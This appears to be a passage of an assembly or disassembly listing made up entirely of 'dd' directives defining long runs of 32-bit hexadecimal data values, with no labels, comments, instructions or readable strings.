		dd 7E57B66h, 0F29C7AE3h, 605A3291h, 33DE9880h, 5000C9E0h
		dd 23F48F49h, 212BD1h, 3B8CCB25h, 0B4D2C22Dh, 9E08423Bh
		dd 2980E1ECh, 2E807BF6h, 370509F4h, 0EB0EC2A8h,	0B35E805Dh
		dd 2C174B5Ch, 0FE251E01h, 0A24D87F0h, 0C0E464h,	0DA4B2F07h
		dd 0EBDCA1F4h, 0ED8C2300h, 3691AFAh, 0D5110094h, 1813EC97h
		dd 6E007665h, 8012D404h, 0FF29CCF5h, 37BEF8h, 0D3815EBh
		dd 6864F8A3h, 0E457E000h, 47068360h, 9A7B5C4Bh,	86C20070h
		dd 0A2240EE9h, 8F756B0Bh, 62CFD001h, 3A43BAD1h,	0EADDF0h
		dd 7879B029h, 82597072h, 5D7E1102h, 40D877B4h, 12F13E8h
		dd 0BA3AECFFh, 20985687h, 73BC17Bh, 1D74492Eh, 0D6C0E154h
		dd 3B03F8C7h, 444349F3h, 744BF609h, 0E8BADC00h,	30C03061h
		dd 0A48E4D1Dh, 0A66C0475h, 87042CAAh, 8160D080h, 949EF3Bh
		dd 0B03801D0h, 5B3A2B17h, 564060F2h, 7F1890B3h,	51FF0133h
		dd 85BE0991h, 41F570A4h, 0C8A1BB07h, 0DBA0F080h, 7B0699h
		dd 6C74A850h, 0EB4B0A2Fh, 0C31D1807h, 0CA830C2Dh, 6BC588EEh
		dd 409860h, 417AF517h, 22522D39h, 0AED2A0A8h, 70BFDD03h
		dd 0D8401FA9h, 0BB5E30h, 1455A3F2h, 57EA63Fh, 0E0C22E00h
		dd 0E4D4D978h, 403E008Fh, 939AB796h, 2F008CD7h,	0DB548D67h
		dd 0B05A5FB3h, 96BF0078h, 6A179B65h, 9026D77h, 0F47D11D5h
		dd 0F1EA40C7h, 0E83A00C1h, 27E5C50Bh, 0F624F078h, 10801C22h
		dd 0E6A998E0h, 0F2AE01CEh, 7DDA663Eh, 0A4A3F826h, 12DAB00h
		dd 528828FBh, 85FF2691h, 25A04F04h, 9C3509CCh, 0EEB15303h
		dd 8A3FEFE9h, 937F40F8h, 1F162873h, 1275008Ch, 798FDB1Ch
		dd 0B33E5FC7h, 28E603FFh, 88479694h, 31F89Dh, 7A7DBB76h
		dd 0F9699361h, 0CA601018h, 653511h, 348D21A6h, 0FDC21F14h
		dd 52F77900h, 0E2EFF011h, 0EBA22410h, 9305408Ch, 2A01AC31h
		dd 5632BB9Ch, 0DC202FE4h, 8E4507F8h, 0A0B2AF5Fh, 9DF01B08h
		dd 20EBB090h, 902478B8h, 8D0067E7h, 3C239559h, 33263844h
		dd 0CC3D4181h, 0E4512D08h, 3B00705Ch, 2ADC65AFh, 24CD394Ch
		dd 4E505683h, 446E6D60h, 65020BECh, 1AAF9868h, 544761h
		dd 255F3732h, 0BE07D24Bh, 0F8DB4EF5h, 48C083A4h, 9540E4Ch
		dd 1E1DA97Dh, 98608401h, 9A09E450h, 74DCB400h, 0D82C5DA4h
		dd 0DF3100DDh, 46B6C41Ch, 2F006932h, 0FDE3F30Fh, 15F3841h
		dd 6A4F8B96h, 825C9B87h, 0F4C3BF60h, 3BE7E048h,	9635FEBAh
		dd 9513DDh, 8D077B68h, 53008BA3h, 0EB88F26Eh, 1E1EF022h
		dd 0FBEE9FC5h, 0D1137F00h, 0C33C4F51h, 8A033698h, 0F832B5E7h
		dd 32EA058h, 0F9591D7Fh, 77714275h, 3FFE8A1h, 0E83DB980h
		dd 82189Bh, 0B7B269ECh,	0C4844445h, 22D3520Bh, 0E8C0075Eh
		dd 0F60F0271h, 901CE7D4h, 19A13204h, 0F4926A41h, 40C45CC0h
		dd 5DDE1200h, 796C1018h, 9CBC00D7h, 0E5A2B287h,	7A0E673Bh
		dd 427F0E0Bh, 471CD85Bh, 0C0CD100h, 0F2949A84h,	62FD2CB9h
		dd 4E1C80D4h, 89DE7145h, 9F03C090h, 7AE263D9h, 0C8EFABDAh
		dd 42D33Dh, 58E95C2Dh, 0DB6CA43h, 0F03F477Bh, 3A20CC3Fh
		dd 1A00F21Bh, 0E106552Fh, 4C044C3h, 8A71DF25h, 4B88F0EAh
		dd 8D657000h, 9F7886A2h, 89951F74h, 214EC0AEh, 354ADD48h
		dd 337F6403h, 0D00A65EEh, 35D5502h, 31B01539h, 4788AA30h
		dd 800BF49Eh, 5CE0A45Fh, 0A7AE0539h, 0DE44D0A3h, 18DFE57Eh
		dd 0B0A8EFC5h, 93E2E3C0h, 0FA7A00B2h, 3FC777F9h, 0BE009E3Eh
		dd 315EDA45h, 56AF62h, 0ECC57049h, 0F112DDDEh, 4CE6E200h
		dd 0C2313305h, 0BF3B1F4Dh, 0D7AE8055h, 45C4D36Ah, 0C80074F4h
		dd 891E754Eh, 7DB9E1h, 7A4A825Fh, 22A32685h, 9D663500h
		dd 0A9EB1571h, 4FF7521h, 0D858117Ch, 0A2008F1Dh, 6E11h
		dd 4DC74210h, 93FFD796h, 0C1E2EA05h, 9C806337h,	2EF327CCh
		dd 38F9FDh, 5E66CA7Ch, 3E005D99h, 714A1197h, 6439E65h
		dd 2195BD84h, 0AA3C38FDh, 180B809Bh, 0DFEFF11Eh, 7BF90013h
		dd 9F04CA6Eh, 42246ACFh, 27FB41h, 0BCBEAA24h, 0C26B0EEBh
		dd 36206981h, 0A5E17AAEh, 0DA91AD0Bh, 64C081D3h, 50F4370Eh
		dd 6CB91214h, 0E817042Bh, 0E2F0C035h, 287A4955h, 8A1280h
		dd 40ECBBC9h, 23D08B4Dh, 0B44294Ch, 87490EACh, 0A67ED7DCh
		dd 0B884B5h, 0EFD2783Ch, 414409C0h, 606273FCh, 52BFD8A0h
		dd 553B393Ch, 0FCF53D76h, 600E4D8h, 542F2A46h, 0AC26C1D7h
		dd 8400A82Eh, 0A54D8104h, 9ED41D73h, 8D9B009Fh,	0E2AE2012h
		dd 15CCE901h, 4CB5BCE4h
		dd 608C00FFh, 0AB9671ACh, 700501A9h, 1E52B666h,	31077CC5h
		dd 7573CA72h, 3D3CB8F0h, 8DB40099h, 8EC2A792h, 6F0BFAEBh
		dd 25A1B9F5h, 10AEB3DCh, 0B700883Dh, 56253A8Bh,	0BC00D5EAh
		dd 90D3A269h, 2CA6AF36h, 0E09BC7h, 0C864E083h, 985861BFh
		dd 5F2B05B0h, 10D327D6h, 0A200CC22h, 0A13DC8D5h, 0CC3E4200h
		dd 0B1883FB6h, 805400CDh, 7E4D8A07h, 0C10B62B7h, 40A2F006h
		dd 342CCh, 6CDAFF22h, 73ECF1F5h, 0FE5C0609h, 0ADEC2054h
		dd 0F72530h, 8194AA51h,	95327DA6h, 8F435Ch, 0EDE64F2Ah
		dd 71653Fh, 0A0D71806h,	0EB63C778h, 0BCC05A09h,	10B1014Bh
		dd 69E416C5h, 6E0C00A5h, 0DDF9C97Bh, 0DB0030E2h, 904851C8h
		dd 217F8EBh, 0C9036416h, 1B62750Fh, 0EF8BD960h,	3454F0A8h
		dd 5F41518h, 5BFD11h, 0B1DD4721h, 0D76A092Ah, 19002090h
		dd 40FAE92Dh, 0FBED8Ah,	0DF4BBABEh, 0A2C3BB55h,	289F1634h
		dd 9D9AA00h, 58D1530Eh,	1B39A466h, 3DE66D80h, 8F455643h
		dd 0E94AB700h, 0ADEEF4B8h, 0A3C2E9Fh, 0D8AC0118h, 0F8E00FC0h
		dd 0A120AAD0h, 9F022753h, 10BF1420h, 5000808Dh,	32318381h
		dd 947A6ACh, 0E1A366B6h, 0B45F2802h, 0F2CD7060h, 0B09FF824h
		dd 610FD426h, 6F4AC0B0h, 1B50DC6h, 0B9512692h, 803B5D70h
		dd 9105D930h, 28E222Dh,	2B34F1BEh, 0CA83F2F0h, 0D000194Ch
		dd 0CC35EBB1h, 98FA9B5Ch, 2CA90020h, 0A07949ACh, 0F4B0C518h
		dd 5B50D818h, 4DFAD30h,	0FA6F0C14h, 0F780BA80h,	0BFDD1Dh
		dd 74D45E9Eh, 8CE7D1D2h, 0E889B50Fh, 0BB0037B4h, 0EC5F5702h
		dd 368D017Dh, 24DFD895h, 0B973FCA7h, 0AB831F4Fh, 0E4FED0C9h
		dd 9821453h, 0A8009821h, 40B1B7BFh, 0C302A9DEh,	0D614CD52h
		dd 6D8DC05Dh, 0FD9A0E7Bh, 40C65580h, 2C01A00Dh,	9D27FBFCh
		dd 74FC8754h, 453EC45h,	0FAF7A03Dh, 8B0C012h, 631DCA7Fh
		dd 6CC00683h, 757DFC95h, 0B1F209C3h, 24202991h,	0CB46425Ah
		dd 0B2C95800h, 0D4C42DE3h, 4C8BAA3h, 0BD6B57A1h, 8828D3B8h
		dd 0F3EB5F80h, 0B15CE400h, 7EC6C2A3h, 0DE2F01AEh, 0FEC7DBA8h
		dd 0DCBC70D7h, 87010C9Ch, 6568A1C1h, 1B3C20h, 62B2D501h
		dd 0C9BCB358h, 0DCD8E30Fh, 3C24E1E9h, 60E68C4Ah, 0BE4550h
		dd 40C522E2h, 7E15C079h, 92CB7430h, 0C84EB5h, 433F2393h
		dd 44AE2FFFh, 64400600h, 39B49C42h, 0FCAC0075h,	0EEF2492Ch
		dd 0A49A4B0Fh, 162AB02h, 70D6036Fh, 1DD0000Ch, 3ABBF0D1h
		dd 163B5DE8h, 0B0E700C8h, 0C6CC489h, 0DDB7039Bh, 0B4ECA69Fh
		dd 0B2E33D88h, 0F386CA3Eh, 25F83E00h, 8848BF94h, 0A7AD3A31h
		dd 0C1B592h, 60597048h,	74BA6590h, 0D8064D01h, 20492363h
		dd 8C003A21h, 0D57696h,	35B6A85Ch, 0C7BDA0BEh, 0F6871109h
		dd 66870081h, 60806586h, 18E13810h, 0A24E6097h,	1017644Ch
		dd 70A800E0h, 0BFCA477Ch, 940033B5h, 8A750B2Dh,	761E07h
		dd 0F601DC38h, 77E93C84h, 5E6FF800h, 0E4E09335h, 60B80039h
		dd 8459BE8Fh, 920063AAh, 6D8A54F7h, 1AF3706h, 0B6735743h
		dd 0C5C47C2Ah, 5C60EE34h, 211FF13Dh, 2FA8E4Fh, 71EFEED8h
		dd 87CC904Eh, 55AE01ADh, 13FAF629h, 0D3C850F3h,	37004A3Ah
		dd 495C1CCBh, 266A77BDh, 88189Ah, 0E5E0571h, 6701AF84h
		dd 55940BC6h, 0BA60FEE3h, 7C1300EFh, 0DACA8AFCh, 6265D012h
		dd 0C80EF4B0h, 0A58FC907h, 8C554948h, 39E0506Ch, 0E129240Bh
		dd 1E9891AAh, 2452BAD4h, 9006536h, 0C8032EBh, 0C33EA213h
		dd 0CA089100h, 0E22DFB77h, 480D00EFh, 60864454h, 0EB0F1A52h
		dd 0A223891Bh, 857C4E67h, 56C00C98h, 0F2C58ABh,	3A322722h
		dd 0D2BBC340h, 0DF00355Ah, 7E6786CDh, 22A4B12h,	22534763h
		dd 0D060E81Fh, 0F3E2E49Bh, 0FC82F100h, 6F13688Bh, 27F90196h
		dd 0D766D94Dh, 653CFCC0h, 2BA4D60Fh, 85B0062h, 0BE35E176h
		dd 0AC54000Ch, 9A6D6704h, 0FF78F502h, 0E089F046h, 215D65h
		dd 35392D28h, 0D8843812h, 80019200h, 7154A04Eh,	69BB033Fh
		dd 405091C8h, 0FABCB98h, 534054Ch, 6076C334h, 8472E4D1h
		dd 0C5122868h, 3E6C00D4h, 887092B9h, 0DC7C11C0h, 9809ABCCh
		dd 4F990EC8h, 0C433238h, 0C2E8A3BAh, 0D73A5301h, 2E431EFCh
		dd 26276100h, 13AAFAh, 84A26FA1h, 2CDF62ADh, 60D14C2Eh
		dd 0FC08EA00h, 0B0BE27E2h, 2C4AE0D5h, 0FD894EFh, 0FE202B40h
		dd 87E46EA5h, 4581CF00h, 1B3D1799h, 0EA76322Fh,	84601341h
		dd 36F2B1C4h, 98005DECh, 0A9EFD94Ch, 3B3F60h, 0B02D08CAh
		dd 665CD22Ch, 0F983DC00h, 0AF28827Eh, 3EE0015h,	0FE90880Fh
		dd 5C122B5Dh, 78B4CAE1h, 0FFC10074h, 44F6E52Ch,	64008DBCh
		dd 0DA9C52B4h, 2DD55Fh,	0B2EA8C3Dh, 0DD8EF733h,	0B23945Ch
		dd 4C12056Eh, 0FEE60220h, 9002F911h, 1BDE3080h,	5E07061Fh
		dd 0C6048856h, 0F8547C40h, 8245003h, 2A520CCh, 218AAE40h
		dd 660103FFh, 1C281AE3h, 189D6FE0h, 615C67A2h, 0C02057D8h
		dd 0ED203012h, 0D9600A80h, 0F543458h, 388B9F59h, 0B04CE48h
		dd 8F5D807Ch, 1C0C48E0h, 0F5E17841h, 3A061960h,	707AF03h
		dd 0F08F5EF7h, 61773952h, 6F19A500h, 0E1FCCC44h, 217A1F8Ch
		dd 22300D0h, 564EE7CEh,	914F8107h, 80E0D4E9h, 3DA4D9A9h
		dd 707E8Dh, 47238A6h, 56601485h, 1C43513Dh, 9C497717h
		dd 3276804Ch, 0FBFB4B9Fh, 443B47Dh, 0DD08B0ABh,	0DF4F07ECh
		dd 28DFB59h, 0CC4333B0h, 19002CE3h, 6E07F483h, 4CC5B3AAh
		dd 0DC3E5EDBh, 0E2A3A603h, 0E0EF9AA4h, 2568BF20h, 0E821E009h
		dd 34E0000Ch, 523FB8h, 0A395B684h, 0C0E15ACDh, 0C617EB00h
		dd 56EC82B9h, 3925F6BDh, 74FE7A91h, 865306AFh, 0A91D80D2h
		dd 0DD20990Ch, 12541869h, 0A5F8F5h, 910C7ED8h, 8E00E472h
		dd 73989590h, 6051F4D7h, 0B89920DFh, 38C556A7h,	5491AB78h
		dd 5980121Ah, 5A972CBDh, 0DE00188Eh, 536B1951h,	42946Ch
		dd 54CECC79h, 0C82DEF0Ch, 8C278C28h, 9E815C14h,	38F1608h
		dd 0ED2D1AC1h, 14199850h, 0A889855h, 0E4633525h, 12860948h
		dd 4DA15080h, 0F7008762h, 0F2841EECh, 22847h, 0A4A28834h
		dd 465918BAh, 0ED08B8C1h, 7180F39Dh, 2069830Ch,	0FB7CAFF0h
		dd 0D8A0C7F0h, 0ECA8CE63h, 7C0090BEh, 0EDD1DA37h, 359699h
		dd 23532114h, 31F94B8Eh, 0DE9E8C09h, 94042074h,	1CD1A2h
		dd 1ED89AAh, 50105EBFh,	0C9FC6A3Eh, 0A4301F14h,	0FABD3A00h
		dd 87BCB0h, 0DDCEF822h,	52147FA9h, 153EA101h, 82A886B6h
		dd 7AF9C431h, 0E0475300h, 1A85B6Bh, 0DB5F833Eh,	0DADD8F3h
		dd 57E40020h, 7DA9B290h, 0FA1EDCB4h, 7FC1D2A1h,	0EE1302Dh
		dd 18F997F8h, 104E2E86h, 210790BAh, 7DDBA36Ch, 0D8FF6743h
		dd 0F48F9405h, 0FBF93882h, 0E876C880h, 0A1F12DEh, 24811A02h
		dd 74034A2Bh, 806715ECh, 2860A227h, 0EC273E1Ah,	0E99C4878h
		dd 0D8420047h, 0EF3A45ADh, 883195EEh, 4464C8B9h, 0E58E4885h
		dd 0DDD180B8h, 6D00D7C2h, 1C93560h, 1F1DFCh, 0D5C56ED3h
		dd 9A1ECF5h, 15F8FBF6h,	0E6FD020Eh, 17ABC074h, 31076B2h
		dd 0FCF5A9F8h, 79C0B4CDh, 0F4006E19h, 0EC7D1F70h, 0FE3EB5EEh
		dd 13FD00F7h, 28239201h, 1D6FEDD4h, 0BD86A318h,	96500F0Dh
		dd 3F80FAAFh, 4CE67636h, 47F4511Fh, 0D74B5C40h,	30C5FCD4h
		dd 8E18376Dh, 0D50357B9h, 0AAFB36D0h, 5026C095h, 188DF0D3h
		dd 2869DE75h, 2100154Dh, 0FB291692h, 0C752E665h, 277C4218h
		dd 0CC94C09Bh, 5A00096Bh
		dd 0DE14CFEAh, 0F8A133h, 0D2A81DD9h, 1E16DD21h,	49A57100h
		dd 544E6327h, 7951E4F1h, 34A23A47h, 67389Fh, 0D30ABCE0h
		dd 3D54F69Fh, 4A53F9Ch,	0C9C673C0h, 0DC1F0A2Bh,	0BEC8DFCAh
		dd 12D4590Ch, 96147228h, 39806B5h, 11BD804Ah, 1DD00668h
		dd 51DB7530h, 389BEC18h, 283EB659h, 30CC11AEh, 9A711CC3h
		dd 0E30046E1h, 0F74236D2h, 0F061851Dh, 772D01ACh, 6E8203BAh
		dd 7FA84052h, 0B6021BDh, 78FACA69h, 0C014ECDEh,	0E7703F88h
		dd 38C32C4Dh, 2F56DE4h,	769EB278h, 1040ABBCh, 0C92922D0h
		dd 0E9901C77h, 2030243Ch, 6D7E6E98h, 17A85B07h,	46B05040h
		dd 30290115h, 5FD13B36h, 4B01B7C7h, 2256DDB6h, 89BB5BEh
		dd 0CF982163h, 0B100ABB7h, 0EE0C0112h, 73873EFh, 96FB1588h
		dd 0B6804C75h, 70ED8E12h, 5DD5849h, 34202A50h, 214AB7CAh
		dd 0FDC0C5B6h, 0F2B7D2h, 2EF7545Ch, 6B3C7AA5h, 5EC11973h
		dd 0C53976B1h, 711B9020h, 5E39CE36h, 0C013BF65h, 0B4188CD3h
		dd 711C4202h, 80F5A2B2h, 512AE1C8h, 0C1ECEFh, 0DA416F98h
		dd 29314E0Ch, 0DB274C00h, 595B2171h, 0DFF8A8F6h, 6CB7120Ch
		dd 0FB8C0479h, 0FADA01A4h, 48C29750h, 211C24h, 1E7A22E1h
		dd 36813B02h, 21B008DFh, 0E127BFh, 0DE595F9Ch, 5F3D42Ah
		dd 6FCA551Eh, 9C227C0Ah, 77AEF00h, 203A9Bh, 4664D37Bh
		dd 86404BEBh, 0A8A0657Eh, 29191D91h, 0DBA1F854h, 0B88E7CCDh
		dd 7B035AB1h, 0E5835B61h, 48352100h, 8AC7177Ch,	6FE82204h
		dd 94DE713Bh, 15A9A9B0h, 36A85176h, 46692070h, 7C4A01EEh
		dd 5B5971CAh, 3A88DF0Ch, 867C0F53h, 30C3E0C6h, 76D01C2Ah
		dd 0B9149A71h, 189CA3BEh, 1031EB59h, 0A08500A4h, 0B40745CEh
		dd 90028774h, 4CD0CFADh, 14684091h, 0E10B8922h,	0FB6C301Ch
		dd 26B8D709h, 0B3A0004Ah, 64B18671h, 95972810h,	0D4328090h
		dd 2B02AA8Ah, 0A3249E54h, 14462Ah, 0DF7C8D19h, 8E833E6h
		dd 0D410972Ah, 0E5A3A400h, 76E70E8Fh, 4009002Ch, 328567ACh
		dd 0B100421Fh, 0E21E312Ah, 92B43D20h, 490CFA5Ch, 0FB00B473h
		dd 284BB3B7h, 79029AEBh, 0E1263EB9h, 0A000CB6Fh, 545A1E30h
		dd 3C3984E9h, 0CB803D02h, 0D13481C0h, 0E40152DEh, 6F9E393h
		dd 9701D7Eh, 68460097h,	0FA9B19E1h, 0EB02F820h,	24F6288h
		dd 46484127h, 0E1041F18h, 18E7A20h, 0B5200532h,	58EAE125h
		dd 4C013C1Bh, 3017AAF4h, 9902D778h, 0AF8D8672h,	3048CEA9h
		dd 0B4E91B12h, 931CE170h, 807D96EBh, 95513EFFh,	4D68DA2h
		dd 3A819BA4h, 79BC80D9h, 5D4CBA75h, 0C4A47A74h,	37B4800h
		dd 473ED3C1h, 0F68CA17Fh, 564A8C10h, 98DAD102h,	4ADF46B9h
		dd 380C82E0h, 1458190Ch, 5372BC81h, 74360C21h, 11745426h
		dd 0B7DD8027h, 8C6DB649h, 1FFA6544h, 1C9B7C5h, 856C9063h
		dd 8A79C41Ch, 6048EE30h, 18A7B77Ch, 0B1F7591Dh,	2E02F199h
		dd 963E277Ah, 1FB4A00Bh, 960828Eh, 46930486h, 0AB00D850h
		dd 2642910Eh, 29542ACCh, 80ACB130h, 0D0113A99h,	5F120A57h
		dd 3809C29Ah, 77508521h, 0FA06E45Dh, 0B16A3Ah, 0BC60C754h
		dd 8A50823Ch, 0D7002675h, 56FC5ABh, 24C6ACCCh, 4958D275h
		dd 13128003h, 8C49710Fh, 817F6038h, 0D70973h, 48931888h
		dd 7731694Fh, 72EB30C0h, 20C425h, 94DC4E0Dh, 705797E8h
		dd 0C71CD40Bh, 2C282422h, 44B7C460h, 20B5B623h,	0CCFF285Ch
		dd 370BE0C4h, 90911672h, 217C5FBDh, 97E4BE03h, 0E4BB690Eh
		dd 0E80E548Dh, 7DC36888h, 0ECDBCA6Bh, 6EF71270h, 1C144EDAh
		dd 0B5C5B2C1h, 5C10A42Eh, 0D2EBF604h, 5C8F8CEh,	58281ACAh
		dd 0A9B22410h, 3DE384h,	12CF3EBBh, 0FDF9C721h, 9B205322h
		dd 0A2F815A0h, 763F492h, 0A82C6021h, 5DCC67FDh,	1980E433h
		dd 1741A027h, 0C6DDD31Dh, 9DB27880h, 11D200Ah, 70FA74AEh
		dd 2001B586h, 0A098409Ch, 88281658h, 7C3EC02Ah,	0B94371DEh
		dd 7C473680h, 0A100600Eh, 3B758ED5h, 1F445D8h, 10DBCCEAh
		dd 63514078h, 33E2A220h, 0DDAA1E90h, 0EBDB5D1Eh, 9423D86h
		dd 0DEFA0BA8h, 30A7219Ch, 3A745576h, 1CE82360h,	40338A10h
		dd 14B9C2A4h, 66E488E5h, 0F5803960h, 25271000h,	3543C1D6h
		dd 22E700D4h, 0CF6FA0A9h, 5605A5BCh, 82500D8Eh,	0C7D1FC08h
		dd 9B225024h, 448620F2h, 0EE756206h, 1DDB4700h,	0B3A79D3h
		dd 761B770Ah, 50DF4889h, 0E0CF4488h, 7E7A1EE1h,	0B3808501h
		dd 7AF2E123h, 0BC9112h,	4D3C3BDFh, 1A039336h, 0E8B3B819h
		dd 1F32DB21h, 98200DF1h, 1605DA80h, 0C0CD5D17h,	0F976B002h
		dd 84C88968h, 0A4A0391Ch, 0BF520FBEh, 0FC807E32h, 716B8BCDh
		dd 43519609h, 97E40BA7h, 8065110Ch, 295B68A7h, 882400C6h
		dd 8074E4EBh, 0A82555BDh, 9DD82245h, 44EC521Ch,	763B796Dh
		dd 32A8E0C5h, 0ACD23EBCh, 0EE2375C4h, 872A439Bh, 0EC50ED63h
		dd 308554CEh, 9348713Dh, 0BAE45A43h, 0A92F3537h, 0E1A4D490h
		dd 33260069h, 4A4DE7E2h, 0FD12CD0Bh, 0CC00A2FBh, 0CE7D1971h
		dd 43DC02EBh, 61D5C5FCh, 8A7A4440h, 0D2F8B212h,	422B8C1h
		dd 0C31C0805h, 1C401EC0h, 15C2219Bh, 53DFE88h, 0C03F2854h
		dd 62840FADh, 36011907h, 8EA0DC37h, 0AA6E72C9h,	0E4D0E5CCh
		dd 51166067h, 8CC2C06h,	0E7E06F78h, 371CB983h, 4A460300h
		dd 9A5ABABEh, 508CB87Dh, 92F5C852h, 229CB000h, 2A06226Eh
		dd 1D5853Bh, 0BC1A0198h, 71AED43Ah, 8EEDE89Fh, 1F80BC96h
		dd 749920D0h, 71791FE2h, 0BE56445Bh, 5384823Eh,	8E12230h
		dd 2267923h, 0C2401064h, 0F878E128h, 5861BE14h,	0E9980EB4h
		dd 0C034DEh, 4D1648D4h,	72179F0h, 0D0044E5Bh, 0C9BD7132h
		dd 0FECC492Fh, 24264BFEh, 0C919E992h, 68725440h, 0E322300h
		dd 0D6F37BD0h, 880D0C1Ch, 20AC680h, 0E6444501h,	0A1F10F79h
		dd 128CCFB1h, 5A0EC519h, 835B4C96h, 0C1A480h, 0D37CA511h
		dd 0B1EE3B2Bh, 9E44500Eh, 21AE8CB2h, 0D38400FFh, 0B3A2F9E7h
		dd 0F804C42Ah, 5DDC1595h, 0E83AC504h, 69D700B5h, 51DFC165h
		dd 603BE870h, 81932095h, 0FF00568Fh, 4A7878Eh, 667C2h
		dd 0C17B6DBAh, 8B231236h, 0D2E21700h, 38443EBFh, 86E600F0h
		dd 45C97473h, 0D501EE22h, 0AFB517CAh, 0D1BA5EEDh, 671B5000h
		dd 5FE0EF58h, 26A83B00h, 82EA41F7h, 0E4760046h,	0CB8B86CAh
		dd 9C000AF4h, 516C555Ah, 0DE9272F0h, 2DB640A0h,	0BD0D8681h
		dd 155F1F07h, 0F94E2005h, 81E45121h, 18DF00E2h,	0DEFE351Dh
		dd 0FF00543Eh, 0DCF4BD95h, 8A4251h, 19E42246h, 0E862939Fh
		dd 10786F00h, 145C75AFh, 940A30F5h, 0A1450D98h,	1813A4A1h
		dd 0E5900876h, 45C619D7h, 7F910021h, 9E20668Fh,	0F9901B5Bh
		dd 0CB38F200h, 54746EC4h, 5AD60597h, 844C53Fh, 7BC081F4h
		dd 463B2ED3h, 0E1A922F6h, 0C013C001h, 41020624h, 0DBFA1589h
		dd 0EFF32056h, 2E3A639Dh, 80CC3826h, 0F43E681Ah, 1841D6h
		dd 6D8C7088h, 39237514h, 0DC806A50h, 0DE1574E8h, 5398498Eh
		dd 9647A120h, 85012A0Ch, 0C3B74915h, 41ED8E0Ch,	0D8F5E88Ah
		dd 3F0F07F2h, 0D1BD4687h, 34CB3A0Ah, 46068C51h,	19B1A9h
		dd 6D90F893h, 0DA142C65h, 3EB4A700h, 260C05F6h,	16B50955h
		dd 4400CA6Ah, 0C3C59B0Bh, 485C9035h, 0C2F41C08h, 0E8828119h
		dd 1C46201Dh, 155C044h,	0D9278121h, 0F8C98B2Dh,	0D6F658CFh
		dd 0B3405C18h, 6C6777E1h, 0F2603044h, 8117248Ch, 302D14F0h
		dd 811F53A0h, 5C707301h
		dd 0A1966794h, 0E4F045EEh, 0D1BC60AAh, 23DE00D8h, 772EE32Ch
		dd 1200F10Ah, 0E0D5C96Dh, 0D6CFAh, 0EB304F8Eh, 0CBBDA1A6h
		dd 0BC1CECEFh, 906DC02Ah, 0C33C4506h, 18106970h, 69B8AA06h
		dd 0BF3CDA23h, 0DFC700C1h, 5B47EC78h, 49F309C0h, 0E820460Fh
		dd 0BD6BF679h, 7733BA0Ch, 60E9C3h, 0D83D5DECh, 1F3CC2CDh
		dd 81A33800h, 0E8756BACh, 0C66430D0h, 5470932Eh, 0BF44A4A7h
		dd 2A433067h, 8B607811h, 0D7E4CC19h, 9C470FFEh,	27206394h
		dd 0D0861AB9h, 23A833FBh, 0D3870345h, 0B2FA3B1Ah, 410AB19h
		dd 4BF4D390h, 0B49AD601h, 0BEECE0BAh, 0B0205C25h, 50EE2A81h
		dd 0E66C0088h, 47CA761Dh, 0D133923Eh, 6008FFh, 1DED0321h
		dd 0FA26CA7Ah, 77CCB550h, 0F9C18461h, 0B3F80658h, 369B001Ah
		dd 0EB22EEC1h, 0AE0E69BEh, 40CC45E8h, 415B953Ah, 389061B5h
		dd 8C471649h, 0B9BFA961h, 0C0830040h, 14F3613Dh, 65003692h
		dd 2A158C75h, 0E385E4Ah, 4326B694h, 3A0F0213h, 0C8A060D3h
		dd 0B08AD60Bh, 0DC2CD890h, 4A40C7Eh, 7A801F11h,	79D7E98Fh
		dd 9D48448Ch, 1EA8340h,	7DB13BCEh, 4B5A0CA5h, 0C0AEC8C0h
		dd 0CB01D0F2h, 19B5AA30h, 0E2F4DCECh, 0C2D9000Dh, 0CFD2F3EBh
		dd 0E10213CBh, 49F22115h, 544612h, 5538DE6Eh, 7091D7ECh
		dd 0AFD1B899h, 6628D819h, 648C6F00h, 0EDE0D55h,	48E09AB6h
		dd 0F323645Eh, 87811A01h, 0BA18150Dh, 1225488h,	9740C281h
		dd 0DC421A13h, 751C2ED1h, 0D8C04436h, 707AF432h, 5C040679h
		dd 0C1E3AB0Ah, 0EC161CB0h, 244F92ADh, 1C0117FAh, 660C1B3Ah
		dd 100BE820h, 349DB99h,	84B925C5h, 0CB95D0B7h, 89500539h
		dd 0B8E4A61h, 701DEDDDh, 4A804811h, 0A37E72B5h,	6AFC6EECh
		dd 72812FCh, 30A09CC4h,	5EE40C09h, 0AACDD50Dh, 0C0026174h
		dd 0D3853083h, 863B180Bh, 7816B2h, 28D38E02h, 1ADE6DC3h
		dd 14442300h, 0FFD55DFEh, 29B360AAh, 1BAB348Dh,	0FC217600h
		dd 6FA8573Bh, 0B4C33E35h, 0D9950C00h, 0D3B64C5Dh, 0C54BE005h
		dd 148B6B59h, 0F0C7BEC8h, 31E01F37h, 492EEE0Ch,	5E2A9849h
		dd 0CBD50190h, 11A5CC09h, 5BC834F6h, 21934330h,	38D13023h
		dd 0D09F870Bh, 7CF8AE09h, 7700A846h, 8221B78Fh,	0A918AE93h
		dd 0FBE823F6h, 40DCFEB4h, 0D6000A4Ch, 44C43D76h, 48F0CC12h
		dd 56261450h, 80901164h, 0C97B1DEBh, 57448CEFh,	1DF20912h
		dd 15807FD2h, 3D1FEEB5h, 41A20A04h, 24D2581Bh, 92546196h
		dd 46F22033h, 44BA30h, 0CA07A3A2h, 0D55BDDA5h, 0C4920800h
		dd 386F8E0Fh, 0A430E993h, 224500CAh, 1A7D8FF4h,	0E007AFB5h
		dd 4682E9D3h, 86C92821h, 9C52BEC9h, 0E8F7808Ch,	28115DAEh
		dd 0CD06D0Eh, 0B3AF2EC7h, 0FCBA8A50h, 220A98B0h, 9491F8B9h
		dd 0F6D4674h, 0E05694A4h, 7468F4EAh, 0F3E00219h, 8B26447Ah
		dd 0EDD86075h, 30C14972h, 7AE6300h, 2AB38AE2h, 0ABA46816h
		dd 0FA6C1401h, 0FBF009B4h, 7B8913AEh, 2082518h,	73012CFCh
		dd 1408086Eh, 405C281Ch, 19CB21B5h, 0AFD1C499h,	79293019h
		dd 0E162ED30h, 185405h,	747A8631h, 9CC3BD20h, 4C3CC400h
		dd 3B7F1BF7h, 6CE03023h, 0B5978B80h, 0E963DE30h, 4966C60Dh
		dd 1D169C45h, 1C342293h, 988F7D30h, 0E510A2DCh,	469A0038h
		dd 0B227C28Fh, 58EB4E12h, 3C1A1404h, 597F7480h,	0F1390096h
		dd 1EB240D5h, 2B018E10h, 5B83CAECh, 4993543Bh, 14E3008Ah
		dd 0F41A7E89h, 0F60E2774h, 0C5064EBEh, 0FC628DC4h, 0E7E4C9EAh
